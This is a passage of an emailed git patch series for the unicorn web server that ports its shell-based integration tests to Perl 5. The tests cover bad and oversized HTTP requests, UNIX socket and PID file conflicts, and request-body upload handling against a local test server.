- curl -sSfv http://$listen/
-}
-
-t_begin "check stderr has no errors" && {
- check_stderr
-}
-
-t_begin "HTTP/0.9 request should not return headers" && {
- (
- printf 'GET /\r\n'
- cat $fifo > $tmp &
- wait
- echo ok > $ok
- ) | socat - TCP:$listen > $fifo
-}
-
-t_begin "env.inspect should've put everything on one line" && {
- test 1 -eq $(count_lines < $tmp)
-}
-
-t_begin "no headers in output" && {
- if grep ^Connection: $tmp
- then
- die "Connection header found in $tmp"
- elif grep ^HTTP/ $tmp
- then
- die "HTTP/ found in $tmp"
- fi
-}
-
-t_begin "killing succeeds" && {
- kill $unicorn_pid
-}
-
-t_begin "check stderr has no errors" && {
- check_stderr
-}
-
-t_done
[-- Attachment #6: 0005-port-t0002-parser-error.sh-to-Perl-5.patch --]
[-- Type: text/x-diff, Size: 4875 bytes --]
From 2eb7b1662c291ab535ee5dabf5d96194ca6483d4 Mon Sep 17 00:00:00 2001
From: Eric Wong <BOFH@YHBT.net>
Date: Mon, 5 Jun 2023 10:12:34 +0000
Subject: [PATCH 05/23] port t0002-parser-error.sh to Perl 5
Another socat dependency down...
---
t/integration.t | 33 +++++++++++++++
t/lib.perl | 9 +++-
t/t0002-parser-error.sh | 94 -----------------------------------------
3 files changed, 41 insertions(+), 95 deletions(-)
delete mode 100755 t/t0002-parser-error.sh
diff --git a/t/integration.t b/t/integration.t
index ee22e7e..503b7eb 100644
--- a/t/integration.t
+++ b/t/integration.t
@@ -85,6 +85,39 @@ SKIP: {
is($res->{content}, 'Goodbye', 'write-on-close body read');
}
+if ('bad requests') {
+ $c = start_req($srv, 'GET /env_dump HTTP/1/1');
+ ($status, $hdr) = slurp_hdr($c);
+ like($status, qr!\AHTTP/1\.[01] 400 \b!, 'got 400 on bad request');
+
+ $c = tcp_connect($srv);
+ print $c 'GET /' or die $!;
+ my $buf = join('', (0..9), 'ab');
+ for (0..1023) { print $c $buf or die $! }
+ print $c " HTTP/1.0\r\n\r\n" or die $!;
+ ($status, $hdr) = slurp_hdr($c);
+ like($status, qr!\AHTTP/1\.[01] 414 \b!,
+ '414 on REQUEST_PATH > (12 * 1024)');
+
+ $c = tcp_connect($srv);
+ print $c 'GET /hello-world?a' or die $!;
+ $buf = join('', (0..9));
+ for (0..1023) { print $c $buf or die $! }
+ print $c " HTTP/1.0\r\n\r\n" or die $!;
+ ($status, $hdr) = slurp_hdr($c);
+ like($status, qr!\AHTTP/1\.[01] 414 \b!,
+ '414 on QUERY_STRING > (10 * 1024)');
+
+ $c = tcp_connect($srv);
+ print $c 'GET /hello-world#a' or die $!;
+ $buf = join('', (0..9), 'a'..'f');
+ for (0..63) { print $c $buf or die $! }
+ print $c " HTTP/1.0\r\n\r\n" or die $!;
+ ($status, $hdr) = slurp_hdr($c);
+ like($status, qr!\AHTTP/1\.[01] 414 \b!, '414 on FRAGMENT > (1024)');
+}
+
+
# ... more stuff here
undef $ar;
my @log = slurp("$tmpdir/err.log");
diff --git a/t/lib.perl b/t/lib.perl
index 12deaf8..7d712b5 100644
--- a/t/lib.perl
+++ b/t/lib.perl
@@ -10,7 +10,7 @@ use POSIX qw(dup2 _exit setpgid :signal_h SEEK_SET F_SETFD);
use File::Temp 0.19 (); # 0.19 for ->newdir
our ($tmpdir, $errfh);
our @EXPORT = qw(unicorn slurp tcp_server tcp_connect unicorn $tmpdir $errfh
- SEEK_SET tcp_host_port);
+ SEEK_SET tcp_host_port start_req);
my ($base) = ($0 =~ m!\b([^/]+)\.[^\.]+\z!);
$tmpdir = File::Temp->newdir("unicorn-$base-XXXX", TMPDIR => 1);
@@ -59,6 +59,13 @@ sub tcp_connect {
$s;
}
+sub start_req {
+ my ($srv, @req) = @_;
+ my $c = tcp_connect($srv);
+ print $c @req, "\r\n\r\n" or die "print: $!";
+ $c;
+}
+
sub slurp {
open my $fh, '<', $_[0] or die "open($_[0]): $!";
local $/;
diff --git a/t/t0002-parser-error.sh b/t/t0002-parser-error.sh
deleted file mode 100755
index 9dc1cd2..0000000
--- a/t/t0002-parser-error.sh
+++ /dev/null
@@ -1,94 +0,0 @@
-#!/bin/sh
-. ./test-lib.sh
-t_plan 11 "parser error test"
-
-t_begin "setup and startup" && {
- unicorn_setup
- unicorn -D env.ru -c $unicorn_config
- unicorn_wait_start
-}
-
-t_begin "send a bad request" && {
- (
- printf 'GET / HTTP/1/1\r\nHost: example.com\r\n\r\n'
- cat $fifo > $tmp &
- wait
- echo ok > $ok
- ) | socat - TCP:$listen > $fifo
- test xok = x$(cat $ok)
-}
-
-dbgcat tmp
-
-t_begin "response should be a 400" && {
- grep -F 'HTTP/1.1 400 Bad Request' $tmp
-}
-
-t_begin "send a huge Request URI (REQUEST_PATH > (12 * 1024))" && {
- rm -f $tmp
- cat $fifo > $tmp &
- (
- set -e
- trap 'echo ok > $ok' EXIT
- printf 'GET /'
- for i in $(awk </dev/null 'BEGIN{for(i=0;i<1024;i++) print i}')
- do
- printf '0123456789ab'
- done
- printf ' HTTP/1.1\r\nHost: example.com\r\n\r\n'
- ) | socat - TCP:$listen > $fifo || :
- test xok = x$(cat $ok)
- wait
-}
-
-t_begin "response should be a 414 (REQUEST_PATH)" && {
- grep -F 'HTTP/1.1 414 ' $tmp
-}
-
-t_begin "send a huge Request URI (QUERY_STRING > (10 * 1024))" && {
- rm -f $tmp
- cat $fifo > $tmp &
- (
- set -e
- trap 'echo ok > $ok' EXIT
- printf 'GET /hello-world?a'
- for i in $(awk </dev/null 'BEGIN{for(i=0;i<1024;i++) print i}')
- do
- printf '0123456789'
- done
- printf ' HTTP/1.1\r\nHost: example.com\r\n\r\n'
- ) | socat - TCP:$listen > $fifo || :
- test xok = x$(cat $ok)
- wait
-}
-
-t_begin "response should be a 414 (QUERY_STRING)" && {
- grep -F 'HTTP/1.1 414 ' $tmp
-}
-
-t_begin "send a huge Request URI (FRAGMENT > 1024)" && {
- rm -f $tmp
- cat $fifo > $tmp &
- (
- set -e
- trap 'echo ok > $ok' EXIT
- printf 'GET /hello-world#a'
- for i in $(awk </dev/null 'BEGIN{for(i=0;i<64;i++) print i}')
- do
- printf '0123456789abcdef'
- done
- printf ' HTTP/1.1\r\nHost: example.com\r\n\r\n'
- ) | socat - TCP:$listen > $fifo || :
- test xok = x$(cat $ok)
- wait
-}
-
-t_begin "response should be a 414 (FRAGMENT)" && {
- grep -F 'HTTP/1.1 414 ' $tmp
-}
-
-t_begin "server stderr should be clean" && check_stderr
-
-t_begin "term signal sent" && kill $unicorn_pid
-
-t_done
[-- Attachment #7: 0006-t-integration.t-use-start_req-to-simplify-test-sligh.patch --]
[-- Type: text/x-diff, Size: 2556 bytes --]
From 0bb06cc0c8c4f5b76514858067bbb2871dda0d6e Mon Sep 17 00:00:00 2001
From: Eric Wong <BOFH@YHBT.net>
Date: Mon, 5 Jun 2023 10:12:35 +0000
Subject: [PATCH 06/23] t/integration.t: use start_req to simplify test slighly
Less code is usually better.
---
t/integration.t | 18 ++++++------------
1 file changed, 6 insertions(+), 12 deletions(-)
diff --git a/t/integration.t b/t/integration.t
index 503b7eb..b7ba1fb 100644
--- a/t/integration.t
+++ b/t/integration.t
@@ -20,8 +20,7 @@ sub slurp_hdr {
my ($c, $status, $hdr);
# response header tests
-$c = tcp_connect($srv);
-print $c "GET /rack-2-newline-headers HTTP/1.0\r\n\r\n" or die $!;
+$c = start_req($srv, 'GET /rack-2-newline-headers HTTP/1.0');
($status, $hdr) = slurp_hdr($c);
like($status, qr!\AHTTP/1\.[01] 200\b!, 'status line valid');
my $orig_200_status = $status;
@@ -40,8 +39,7 @@ SKIP: { # Date header check
};
-$c = tcp_connect($srv);
-print $c "GET /rack-3-array-headers HTTP/1.0\r\n\r\n" or die $!;
+$c = start_req($srv, 'GET /rack-3-array-headers HTTP/1.0');
($status, $hdr) = slurp_hdr($c);
is_deeply([ grep(/^x-r3: /, @$hdr) ],
[ 'x-r3: a', 'x-r3: b', 'x-r3: c' ],
@@ -49,8 +47,7 @@ is_deeply([ grep(/^x-r3: /, @$hdr) ],
SKIP: {
eval { require JSON::PP } or skip "JSON::PP missing: $@", 1;
- $c = tcp_connect($srv);
- print $c "GET /env_dump\r\n" or die $!;
+ my $c = start_req($srv, 'GET /env_dump');
my $json = do { local $/; readline($c) };
unlike($json, qr/^Connection: /smi, 'no connection header for 0.9');
unlike($json, qr!\AHTTP/!s, 'no HTTP/1.x prefix for 0.9');
@@ -60,20 +57,17 @@ SKIP: {
}
# cf. <CAO47=rJa=zRcLn_Xm4v2cHPr6c0UswaFC_omYFEH+baSxHOWKQ@mail.gmail.com>
-$c = tcp_connect($srv);
-print $c "GET /nil-header-value HTTP/1.0\r\n\r\n" or die $!;
+$c = start_req($srv, 'GET /nil-header-value HTTP/1.0');
($status, $hdr) = slurp_hdr($c);
is_deeply([grep(/^X-Nil:/, @$hdr)], ['X-Nil: '],
'nil header value accepted for broken apps') or diag(explain($hdr));
if ('TODO: ensure Rack::Utils::HTTP_STATUS_CODES is available') {
- $c = tcp_connect($srv);
- print $c "POST /tweak-status-code HTTP/1.0\r\n\r\n" or die $!;
+ $c = start_req($srv, 'POST /tweak-status-code HTTP/1.0');
($status, $hdr) = slurp_hdr($c);
like($status, qr!\AHTTP/1\.[01] 200 HI\b!, 'status tweaked');
- $c = tcp_connect($srv);
- print $c "POST /restore-status-code HTTP/1.0\r\n\r\n" or die $!;
+ $c = start_req($srv, 'POST /restore-status-code HTTP/1.0');
($status, $hdr) = slurp_hdr($c);
is($status, $orig_200_status, 'original status restored');
}
[-- Attachment #8: 0007-port-t0011-active-unix-socket.sh-to-Perl-5.patch --]
[-- Type: text/x-diff, Size: 6945 bytes --]
From 10c83beaca58df8b92d8228e798559069cd89beb Mon Sep 17 00:00:00 2001
From: Eric Wong <BOFH@YHBT.net>
Date: Mon, 5 Jun 2023 10:12:36 +0000
Subject: [PATCH 07/23] port t0011-active-unix-socket.sh to Perl 5
Another socat dependency down... I've also started turning
FD_CLOEXEC off on a pipe as a mechanism to detect daemonized
process death in tests.
---
t/active-unix-socket.t | 117 ++++++++++++++++++++++++++++++++++
t/integration.ru | 1 +
t/t0011-active-unix-socket.sh | 79 -----------------------
3 files changed, 118 insertions(+), 79 deletions(-)
create mode 100644 t/active-unix-socket.t
delete mode 100755 t/t0011-active-unix-socket.sh
diff --git a/t/active-unix-socket.t b/t/active-unix-socket.t
new file mode 100644
index 0000000..6b5c218
--- /dev/null
+++ b/t/active-unix-socket.t
@@ -0,0 +1,117 @@
+#!perl -w
+# Copyright (C) unicorn hackers <unicorn-public@yhbt.net>
+# License: GPL-3.0+ <https://www.gnu.org/licenses/gpl-3.0.txt>
+
+use v5.14; BEGIN { require './t/lib.perl' };
+use IO::Socket::UNIX;
+my %to_kill;
+END { kill('TERM', values(%to_kill)) if keys %to_kill }
+my $u1 = "$tmpdir/u1.sock";
+my $u2 = "$tmpdir/u2.sock";
+my $unix_req = sub {
+ my $s = IO::Socket::UNIX->new(Peer => shift, Type => SOCK_STREAM);
+ print $s @_, "\r\n\r\n" or die $!;
+ $s;
+};
+{
+ use autodie;
+ open my $fh, '>', "$tmpdir/u1.conf.rb";
+ print $fh <<EOM;
+pid "$tmpdir/u.pid"
+listen "$u1"
+stderr_path "$tmpdir/err1.log"
+EOM
+ close $fh;
+
+ open $fh, '>', "$tmpdir/u2.conf.rb";
+ print $fh <<EOM;
+pid "$tmpdir/u.pid"
+listen "$u2"
+stderr_path "$tmpdir/err2.log"
+EOM
+ close $fh;
+
+ open $fh, '>', "$tmpdir/u3.conf.rb";
+ print $fh <<EOM;
+pid "$tmpdir/u3.pid"
+listen "$u1"
+stderr_path "$tmpdir/err3.log"
+EOM
+ close $fh;
+}
+
+my @uarg = qw(-D -E none t/integration.ru);
+
+# this pipe will be used to notify us when all daemons die:
+pipe(my ($p0, $p1)) or die "pipe: $!";
+fcntl($p1, POSIX::F_SETFD, 0) or die "fcntl: $!"; # clear FD_CLOEXEC
+
+# start the first instance
+unicorn('-c', "$tmpdir/u1.conf.rb", @uarg)->join;
+is($?, 0, 'daemonized 1st process');
+chomp($to_kill{u1} = slurp("$tmpdir/u.pid"));
+like($to_kill{u1}, qr/\A\d+\z/s, 'read pid file');
+
+chomp(my $worker_pid = readline($unix_req->($u1, 'GET /pid')));
+like($worker_pid, qr/\A\d+\z/s, 'captured worker pid');
+ok(kill(0, $worker_pid), 'worker is kill-able');
+
+
+# 2nd process conflicts on PID
+unicorn('-c', "$tmpdir/u2.conf.rb", @uarg)->join;
+isnt($?, 0, 'conflicting PID file fails to start');
+
+chomp(my $pidf = slurp("$tmpdir/u.pid"));
+is($pidf, $to_kill{u1}, 'pid file contents unchanged after start failure');
+
+chomp(my $pid2 = readline($unix_req->($u1, 'GET /pid')));
+is($worker_pid, $pid2, 'worker PID unchanged');
+
+
+# 3rd process conflicts on socket
+unicorn('-c', "$tmpdir/u3.conf.rb", @uarg)->join;
+isnt($?, 0, 'conflicting UNIX socket fails to start');
+
+chomp($pid2 = readline($unix_req->($u1, 'GET /pid')));
+is($worker_pid, $pid2, 'worker PID still unchanged');
+
+chomp($pidf = slurp("$tmpdir/u.pid"));
+is($pidf, $to_kill{u1}, 'pid file contents unchanged after 2nd start failure');
+
+{ # teardown initial process via SIGKILL
+ ok(kill('KILL', delete $to_kill{u1}), 'SIGKILL initial daemon');
+ close $p1;
+ vec(my $rvec = '', fileno($p0), 1) = 1;
+ is(select($rvec, undef, undef, 5), 1, 'timeout for pipe HUP');
+ is(my $undef = <$p0>, undef, 'process closed pipe writer at exit');
+ ok(-f "$tmpdir/u.pid", 'pid file stayed after SIGKILL');
+ ok(-S $u1, 'socket stayed after SIGKILL');
+ is(IO::Socket::UNIX->new(Peer => $u1, Type => SOCK_STREAM), undef,
+ 'fail to connect to u1');
+ ok(!kill(0, $worker_pid), 'worker gone after parent dies');
+}
+
+# restart the first instance
+{
+ pipe(($p0, $p1)) or die "pipe: $!";
+ fcntl($p1, POSIX::F_SETFD, 0) or die "fcntl: $!"; # clear FD_CLOEXEC
+ unicorn('-c', "$tmpdir/u1.conf.rb", @uarg)->join;
+ is($?, 0, 'daemonized 1st process');
+ chomp($to_kill{u1} = slurp("$tmpdir/u.pid"));
+ like($to_kill{u1}, qr/\A\d+\z/s, 'read pid file');
+
+ chomp($pid2 = readline($unix_req->($u1, 'GET /pid')));
+ like($pid2, qr/\A\d+\z/, 'worker running');
+
+ ok(kill('TERM', delete $to_kill{u1}), 'SIGTERM restarted daemon');
+ close $p1;
+ vec(my $rvec = '', fileno($p0), 1) = 1;
+ is(select($rvec, undef, undef, 5), 1, 'timeout for pipe HUP');
+ is(my $undef = <$p0>, undef, 'process closed pipe writer at exit');
+ ok(!-f "$tmpdir/u.pid", 'pid file gone after SIGTERM');
+ ok(-S $u1, 'socket stays after SIGTERM');
+}
+
+my @log = slurp("$tmpdir/err.log");
+diag("@log") if $ENV{V};
+done_testing;
diff --git a/t/integration.ru b/t/integration.ru
index c0bef99..21f5449 100644
--- a/t/integration.ru
+++ b/t/integration.ru
@@ -57,6 +57,7 @@ def env_dump(env)
when '/unknown-status-pass-through'; [ '666 I AM THE BEAST', {}, [] ]
when '/env_dump'; [ 200, {}, [ env_dump(env) ] ]
when '/write_on_close'; write_on_close
+ when '/pid'; [ 200, {}, [ "#$$\n" ] ]
end # case PATH_INFO (GET)
when 'POST'
case env['PATH_INFO']
diff --git a/t/t0011-active-unix-socket.sh b/t/t0011-active-unix-socket.sh
deleted file mode 100755
index fae0b6c..0000000
--- a/t/t0011-active-unix-socket.sh
+++ /dev/null
@@ -1,79 +0,0 @@
-#!/bin/sh
-. ./test-lib.sh
-t_plan 11 "existing UNIX domain socket check"
-
-read_pid_unix () {
- x=$(printf 'GET / HTTP/1.0\r\n\r\n' | \
- socat - UNIX:$unix_socket | \
- tail -1)
- test -n "$x"
- y="$(expr "$x" : '\([0-9][0-9]*\)')"
- test x"$x" = x"$y"
- test -n "$y"
- echo "$y"
-}
-
-t_begin "setup and start" && {
- rtmpfiles unix_socket unix_config
- rm -f $unix_socket
- unicorn_setup
- grep -v ^listen < $unicorn_config > $unix_config
- echo "listen '$unix_socket'" >> $unix_config
- unicorn -D -c $unix_config pid.ru
- unicorn_wait_start
- orig_master_pid=$unicorn_pid
-}
-
-t_begin "get pid of worker" && {
- worker_pid=$(read_pid_unix)
- t_info "worker_pid=$worker_pid"
-}
-
-t_begin "fails to start with existing pid file" && {
- rm -f $ok
- unicorn -D -c $unix_config pid.ru || echo ok > $ok
- test x"$(cat $ok)" = xok
-}
-
-t_begin "worker pid unchanged" && {
- test x"$(read_pid_unix)" = x$worker_pid
- > $r_err
-}
-
-t_begin "fails to start with listening UNIX domain socket bound" && {
- rm $ok $pid
- unicorn -D -c $unix_config pid.ru || echo ok > $ok
- test x"$(cat $ok)" = xok
- > $r_err
-}
-
-t_begin "worker pid unchanged (again)" && {
- test x"$(read_pid_unix)" = x$worker_pid
-}
-
-t_begin "nuking the existing Unicorn succeeds" && {
- kill -9 $unicorn_pid
- while kill -0 $unicorn_pid
- do
- sleep 1
- done
- check_stderr
-}
-
-t_begin "succeeds in starting with leftover UNIX domain socket bound" && {
- test -S $unix_socket
- unicorn -D -c $unix_config pid.ru
- unicorn_wait_start
-}
-
-t_begin "worker pid changed" && {
- test x"$(read_pid_unix)" != x$worker_pid
-}
-
-t_begin "killing succeeds" && {
- kill $unicorn_pid
-}
-
-t_begin "no errors" && check_stderr
-
-t_done
[-- Attachment #9: 0008-port-t0100-rack-input-tests.sh-to-Perl-5.patch --]
[-- Type: text/x-diff, Size: 11722 bytes --]
From b4ed148186295f2d5c8448eab7f2b201615d1e4e Mon Sep 17 00:00:00 2001
From: Eric Wong <BOFH@YHBT.net>
Date: Mon, 5 Jun 2023 10:12:37 +0000
Subject: [PATCH 08/23] port t0100-rack-input-tests.sh to Perl 5
Yet another socat dependency gone \o/
---
t/bin/content-md5-put | 36 -----------
t/integration.ru | 27 +++++++-
t/integration.t | 97 +++++++++++++++++++++++++++-
t/lib.perl | 3 +-
t/rack-input-tests.ru | 21 ------
t/t0100-rack-input-tests.sh | 124 ------------------------------------
6 files changed, 124 insertions(+), 184 deletions(-)
delete mode 100755 t/bin/content-md5-put
delete mode 100644 t/rack-input-tests.ru
delete mode 100755 t/t0100-rack-input-tests.sh
diff --git a/t/bin/content-md5-put b/t/bin/content-md5-put
deleted file mode 100755
index 01da0bb..0000000
--- a/t/bin/content-md5-put
+++ /dev/null
@@ -1,36 +0,0 @@
-#!/usr/bin/env ruby
-# -*- encoding: binary -*-
-# simple chunked HTTP PUT request generator (and just that),
-# it reads stdin and writes to stdout so socat can write to a
-# UNIX or TCP socket (or to another filter or file) along with
-# a Content-MD5 trailer.
-require 'digest/md5'
-$stdout.sync = $stderr.sync = true
-$stdout.binmode
-$stdin.binmode
-
-bs = ENV['bs'] ? ENV['bs'].to_i : 4096
-
-if ARGV.grep("--no-headers").empty?
- $stdout.write(
- "PUT / HTTP/1.1\r\n" \
- "Host: example.com\r\n" \
- "Transfer-Encoding: chunked\r\n" \
- "Trailer: Content-MD5\r\n" \
- "\r\n"
- )
-end
-
-digest = Digest::MD5.new
-if buf = $stdin.readpartial(bs)
- begin
- digest.update(buf)
- $stdout.write("%x\r\n" % [ buf.size ])
- $stdout.write(buf)
- $stdout.write("\r\n")
- end while $stdin.read(bs, buf)
-end
-
-digest = [ digest.digest ].pack('m').strip
-$stdout.write("0\r\n")
-$stdout.write("Content-MD5: #{digest}\r\n\r\n")
diff --git a/t/integration.ru b/t/integration.ru
index 21f5449..98528f6 100644
--- a/t/integration.ru
+++ b/t/integration.ru
@@ -47,6 +47,29 @@ def env_dump(env)
h.to_json
end
+def rack_input_tests(env)
+ return [ 100, {}, [] ] if /\A100-continue\z/i =~ env['HTTP_EXPECT']
+ cap = 16384
+ require 'digest/sha1'
+ digest = Digest::SHA1.new
+ input = env['rack.input']
+ case env['PATH_INFO']
+ when '/rack_input/size_first'; input.size
+ when '/rack_input/rewind_first'; input.rewind
+ when '/rack_input'; # OK
+ else
+ abort "bad path: #{env['PATH_INFO']}"
+ end
+ if buf = input.read(rand(cap))
+ begin
+ raise "#{buf.size} > #{cap}" if buf.size > cap
+ digest.update(buf)
+ end while input.read(rand(cap), buf)
+ end
+ [ 200, {'content-length' => '40', 'content-type' => 'text/plain'},
+ [ digest.hexdigest ] ]
+end
+
run(lambda do |env|
case env['REQUEST_METHOD']
when 'GET'
@@ -66,6 +89,8 @@ def env_dump(env)
end # case PATH_INFO (POST)
# ...
when 'PUT'
- # ...
+ case env['PATH_INFO']
+ when %r{\A/rack_input}; rack_input_tests(env)
+ end
end # case REQUEST_METHOD
end) # run
diff --git a/t/integration.t b/t/integration.t
index b7ba1fb..8cef561 100644
--- a/t/integration.t
+++ b/t/integration.t
@@ -1,13 +1,16 @@
#!perl -w
# Copyright (C) unicorn hackers <unicorn-public@yhbt.net>
# License: GPL-3.0+ <https://www.gnu.org/licenses/gpl-3.0.txt>
+# this is the main integration test for things which don't require
+# restarting or signals
use v5.14; BEGIN { require './t/lib.perl' };
my $srv = tcp_server();
my $host_port = tcp_host_port($srv);
my $t0 = time;
my $ar = unicorn(qw(-E none t/integration.ru), { 3 => $srv });
-
+my $curl = which('curl');
+END { diag slurp("$tmpdir/err.log") if $tmpdir };
sub slurp_hdr {
my ($c) = @_;
local $/ = "\r\n\r\n"; # affects both readline+chomp
@@ -17,6 +20,48 @@ sub slurp_hdr {
($status, \@hdr);
}
+my %PUT = (
+ chunked_md5 => sub {
+ my ($in, $out, $path, %opt) = @_;
+ my $bs = $opt{bs} // 16384;
+ require Digest::MD5;
+ my $dig = Digest::MD5->new;
+ print $out <<EOM;
+PUT $path HTTP/1.1\r
+Transfer-Encoding: chunked\r
+Trailer: Content-MD5\r
+\r
+EOM
+ my ($buf, $r);
+ while (1) {
+ $r = read($in, $buf, $bs) // die "read: $!";
+ last if $r == 0;
+ printf $out "%x\r\n", length($buf);
+ print $out $buf, "\r\n";
+ $dig->add($buf);
+ }
+ print $out "0\r\nContent-MD5: ", $dig->b64digest, "\r\n\r\n";
+ },
+ identity => sub {
+ my ($in, $out, $path, %opt) = @_;
+ my $bs = $opt{bs} // 16384;
+ my $clen = $opt{-s} // -s $in;
+ print $out <<EOM;
+PUT $path HTTP/1.0\r
+Content-Length: $clen\r
+\r
+EOM
+ my ($buf, $r, $len);
+ while ($clen) {
+ $len = $clen > $bs ? $bs : $clen;
+ $r = read($in, $buf, $len) // die "read: $!";
+ die 'premature EOF' if $r == 0;
+ print $out $buf;
+ $clen -= $r;
+ }
+ },
+);
+
my ($c, $status, $hdr);
# response header tests
@@ -111,6 +156,55 @@ if ('bad requests') {
like($status, qr!\AHTTP/1\.[01] 414 \b!, '414 on FRAGMENT > (1024)');
}
+# input tests
+my ($blob_size, $blob_hash);
+SKIP: {
+ open(my $rh, '<', 't/random_blob') or
+ skip "t/random_blob not generated $!", 1;
+ $blob_size = -s $rh;
+ require Digest::SHA;
+ $blob_hash = Digest::SHA->new(1)->addfile($rh)->hexdigest;
+
+ my $ck_hash = sub {
+ my ($sub, $path, %opt) = @_;
+ seek($rh, 0, SEEK_SET) // die "seek: $!";
+ $c = tcp_connect($srv);
+ $c->autoflush(0);
+ $PUT{$sub}->($rh, $c, $path, %opt);
+ $c->flush or die "flush: $!";
+ ($status, $hdr) = slurp_hdr($c);
+ is(readline($c), $blob_hash, "$sub $path");
+ };
+ $ck_hash->('identity', '/rack_input', -s => $blob_size);
+ $ck_hash->('chunked_md5', '/rack_input');
+ $ck_hash->('identity', '/rack_input/size_first', -s => $blob_size);
+ $ck_hash->('identity', '/rack_input/rewind_first', -s => $blob_size);
+ $ck_hash->('chunked_md5', '/rack_input/size_first');
+ $ck_hash->('chunked_md5', '/rack_input/rewind_first');
+
+
+ $curl // skip 'no curl found in PATH', 1;
+
+ my ($copt, $cout);
+ my $url = "http://$host_port/rack_input";
+ my $do_curl = sub {
+ my (@arg) = @_;
+ pipe(my $cout, $copt->{1}) or die "pipe: $!";
+ open $copt->{2}, '>', "$tmpdir/curl.err" or die $!;
+ my $cpid = spawn($curl, '-sSf', @arg, $url, $copt);
+ close(delete $copt->{1}) or die "close: $!";
+ is(readline($cout), $blob_hash, "curl @arg response");
+ is(waitpid($cpid, 0), $cpid, "curl @arg exited");
+ is($?, 0, "no error from curl @arg");
+ is(slurp("$tmpdir/curl.err"), '', "no stderr from curl @arg");
+ };
+
+ $do_curl->(qw(-T t/random_blob));
+
+ seek($rh, 0, SEEK_SET) // die "seek: $!";
+ $copt->{0} = $rh;
+ $do_curl->('-T-');
+}
# ... more stuff here
undef $ar;
@@ -120,4 +214,5 @@ my @err = grep(!/NameError.*Unicorn::Waiter/, grep(/error/i, @log));
is_deeply(\@err, [], 'no unexpected errors in stderr');
is_deeply([grep(/SIGKILL/, @log)], [], 'no SIGKILL in stderr');
+undef $tmpdir;
done_testing;
diff --git a/t/lib.perl b/t/lib.perl
index 7d712b5..ae9f197 100644
--- a/t/lib.perl
+++ b/t/lib.perl
@@ -10,7 +10,7 @@ use POSIX qw(dup2 _exit setpgid :signal_h SEEK_SET F_SETFD);
use File::Temp 0.19 (); # 0.19 for ->newdir
our ($tmpdir, $errfh);
our @EXPORT = qw(unicorn slurp tcp_server tcp_connect unicorn $tmpdir $errfh
- SEEK_SET tcp_host_port start_req);
+ SEEK_SET tcp_host_port start_req which spawn);
my ($base) = ($0 =~ m!\b([^/]+)\.[^\.]+\z!);
$tmpdir = File::Temp->newdir("unicorn-$base-XXXX", TMPDIR => 1);
@@ -193,4 +193,5 @@ Test::More->import;
# try to ensure ->DESTROY fires:
$SIG{TERM} = sub { exit(15 + 128) };
$SIG{INT} = sub { exit(2 + 128) };
+$SIG{PIPE} = sub { exit(13 + 128) };
1;
diff --git a/t/rack-input-tests.ru b/t/rack-input-tests.ru
deleted file mode 100644
index 5459e85..0000000
--- a/t/rack-input-tests.ru
+++ /dev/null
@@ -1,21 +0,0 @@
-# SHA1 checksum generator
-require 'digest/sha1'
-use Rack::ContentLength
-cap = 16384
-app = lambda do |env|
- /\A100-continue\z/i =~ env['HTTP_EXPECT'] and
- return [ 100, {}, [] ]
- digest = Digest::SHA1.new
- input = env['rack.input']
- input.size if env["PATH_INFO"] == "/size_first"
- input.rewind if env["PATH_INFO"] == "/rewind_first"
- if buf = input.read(rand(cap))
- begin
- raise "#{buf.size} > #{cap}" if buf.size > cap
- digest.update(buf)
- end while input.read(rand(cap), buf)
- end
-
- [ 200, {'content-type' => 'text/plain'}, [ digest.hexdigest << "\n" ] ]
-end
-run app
diff --git a/t/t0100-rack-input-tests.sh b/t/t0100-rack-input-tests.sh
deleted file mode 100755
index ee7a437..0000000
--- a/t/t0100-rack-input-tests.sh
+++ /dev/null
@@ -1,124 +0,0 @@
-#!/bin/sh
-. ./test-lib.sh
-test -r random_blob || die "random_blob required, run with 'make $0'"
-
-t_plan 10 "rack.input read tests"
-
-t_begin "setup and startup" && {
- rtmpfiles curl_out curl_err
- unicorn_setup
- unicorn -E none -D rack-input-tests.ru -c $unicorn_config
- blob_sha1=$(rsha1 < random_blob)
- blob_size=$(count_bytes < random_blob)
- t_info "blob_sha1=$blob_sha1"
- unicorn_wait_start
-}
-
-t_begin "corked identity request" && {
- rm -f $tmp
- (
- cat $fifo > $tmp &
- printf 'PUT / HTTP/1.0\r\n'
- printf 'Content-Length: %d\r\n\r\n' $blob_size
- cat random_blob
- wait
- echo ok > $ok
- ) | ( sleep 1 && socat - TCP4:$listen > $fifo )
- test 1 -eq $(grep $blob_sha1 $tmp |count_lines)
- test x"$(cat $ok)" = xok
-}
-
-t_begin "corked chunked request" && {
- rm -f $tmp
- (
- cat $fifo > $tmp &
- content-md5-put < random_blob
- wait
- echo ok > $ok
- ) | ( sleep 1 && socat - TCP4:$listen > $fifo )
- test 1 -eq $(grep $blob_sha1 $tmp |count_lines)
- test x"$(cat $ok)" = xok
-}
-
-t_begin "corked identity request (input#size first)" && {
- rm -f $tmp
- (
- cat $fifo > $tmp &
- printf 'PUT /size_first HTTP/1.0\r\n'
- printf 'Content-Length: %d\r\n\r\n' $blob_size
- cat random_blob
- wait
- echo ok > $ok
- ) | ( sleep 1 && socat - TCP4:$listen > $fifo )
- test 1 -eq $(grep $blob_sha1 $tmp |count_lines)
- test x"$(cat $ok)" = xok
-}
-
-t_begin "corked identity request (input#rewind first)" && {
- rm -f $tmp
- (
- cat $fifo > $tmp &
- printf 'PUT /rewind_first HTTP/1.0\r\n'
- printf 'Content-Length: %d\r\n\r\n' $blob_size
- cat random_blob
- wait
- echo ok > $ok
- ) | ( sleep 1 && socat - TCP4:$listen > $fifo )
- test 1 -eq $(grep $blob_sha1 $tmp |count_lines)
- test x"$(cat $ok)" = xok
-}
-
-t_begin "corked chunked request (input#size first)" && {
- rm -f $tmp
- (
- cat $fifo > $tmp &
- printf 'PUT /size_first HTTP/1.1\r\n'
- printf 'Host: example.com\r\n'
- printf 'Transfer-Encoding: chunked\r\n'
- printf 'Trailer: Content-MD5\r\n'
- printf '\r\n'
- content-md5-put --no-headers < random_blob
- wait
- echo ok > $ok
- ) | ( sleep 1 && socat - TCP4:$listen > $fifo )
- test 1 -eq $(grep $blob_sha1 $tmp |count_lines)
- test 1 -eq $(grep $blob_sha1 $tmp |count_lines)
- test x"$(cat $ok)" = xok
-}
-
-t_begin "corked chunked request (input#rewind first)" && {
- rm -f $tmp
- (
- cat $fifo > $tmp &
- printf 'PUT /rewind_first HTTP/1.1\r\n'
- printf 'Host: example.com\r\n'
- printf 'Transfer-Encoding: chunked\r\n'
- printf 'Trailer: Content-MD5\r\n'
- printf '\r\n'
- content-md5-put --no-headers < random_blob
